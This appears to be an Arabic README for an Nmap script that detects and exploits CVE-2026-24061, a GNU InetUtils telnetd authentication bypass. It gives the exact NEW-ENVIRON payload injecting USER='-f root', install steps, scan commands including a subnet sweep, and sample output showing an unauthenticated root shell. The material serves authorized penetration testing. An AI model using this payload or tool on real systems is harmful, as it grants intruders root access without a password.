
البرنامج النصي ينفّذ تفاوض Telnet كاملاً يحاكي التسلسل الدقيق للبايتات في جلسة عميل telnet -a حقيقية.
يكتشف سكربت Nmap NSE هذا ثغرة CVE-2026-24061، وهي ثغرة تجاوز مصادقة في GNU InetUtils telnetd الإصدارات 1.9.3 حتى 2.7.
من خلال إرسال متغير بيئة USER مُصمم خصيصًا بالصيغة -f <username> أثناء
مفاوضات خيارات Telnet، يمكن لمهاجم غير مصادق الحصول على شل بصلاحيات
المستخدم المحلي المحدد — بما في ذلك — .
rootالاستخدام المقصود: اختبار الاختراق المصرح به وتقييم الثغرات الأمنية فقط.
تشغيل هذا السكربت ضد أنظمة دون إذن كتابي صريح يُعد غير قانوني.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-24061 |
| المتأثر | GNU InetUtils telnetd 1.9.3 – 2.7 |
| درجة CVSSv3 | 9.8 حرجة |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| النوع | تجاوز مصادقة (CWE-287) |
| تاريخ الإفصاح | 2026-01-01 |
يستخدم telnetd في GNU InetUtils خيار Telnet NEW-ENVIRON (RFC 1572) لاستقبال
متغيرات البيئة من العميل أثناء مرحلة المفاوضات. ثم يتم استدعاء برنامج login(1)
مع تلك المتغيرات.
تنشأ الثغرة لأن telnetd يمرر متغير USER مباشرة إلى
login دون تنظيفه. يقبل برنامج login على Linux علامة -f <user>
بمعنى "مصادق عليه مسبقًا، لا تتحقق من كلمة المرور". من خلال حقن
USER="-f root" عبر حمولة NEW-ENVIRON، يتجاوز المهاجم المصادقة
بالكامل.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
| الحقل | القيمة |
|---|---|
| اسم الملف | telnet-vuln-cve-2026-24061.nse |
| الفئات | vuln, exploit, intrusive |
| المنفذ | TCP/23 (telnet) |
| تم اختباره على | Nmap 7.94 / 7.98, Windows & Linux |
يقوم السكربت بـمفاوضات Telnet كاملة تحاكي التسلسل البايتي الدقيق
لجلسة عميل telnet -a حقيقية (أُعيد بناؤها من التقاط Wireshark):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' مُصمم خصيصًا في حمولة NEW-ENVIRON ISWILL ECHO / DO BINARY / WONT LINEMODEحالات النتائج:
| الحالة | المعنى |
|---|---|
EXPLOIT | تم استلام موجه الشل — تم تأكيد التجاوز |
LIKELY_VULN | تم قبول حمولة ENV، لا موجه كلمة مرور، لكن لا موجه شل |
NOT_VULN | ظهر موجه كلمة المرور، أو لم تكتمل المفاوضات |
# Copy to Nmap scripts directory
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Update script database
sudo nmap --script-updatedb
# Copy to Nmap scripts directory (adjust path if needed)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Update script database (run as Administrator)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# Short form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# Medium form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# Fully qualified
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # verbose
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # full hex trace
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(لا يوجد إخراج للسكربت — NOT_VULN صامت حسب التصميم، وفقًا لاتفاقية Nmap القياسية)
| الوسيط | الأسماء المستعارة | الافتراضي | الوصف |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | اسم المستخدم للحقن عبر -f |
يستخدم telnetd في GNU InetUtils مفاوضات Linemode (RFC 1184) لتحديد
وضع الإدخال/الإخراج الطرفي. يرسل الخادم DO LINEMODE مبكرًا في المفاوضات،
ويستجيب العميل في البداية بـ WILL LINEMODE. بعد تبادل حمولة ENV، يرسل الخادم
WILL ECHO متبوعًا بـ DO BINARY. في هذه المرحلة يجب على العميل
الرد بـ WONT LINEMODE للإشارة إلى وضع حرف-ب-حرف — عندها فقط يمكن لـ telnetd
إكمال إعداد PTY (ioctl TIOCSWINSZ) وتفرع login. بدون هذه الخطوة،
يسجل الخادم peer died: Inappropriate ioctl for device ويسقط الاتصال.
تختلف واجهة NSE socket API في Nmap عن اصطلاحات Lua socket القياسية:
-- Nmap NSE (correct):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
تم توفير هذا السكربت لأغراض اختبار الأمان والبحث المصرح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. احصل دائمًا على إذن كتابي صريح قبل اختبار أنظمة لا تملكها.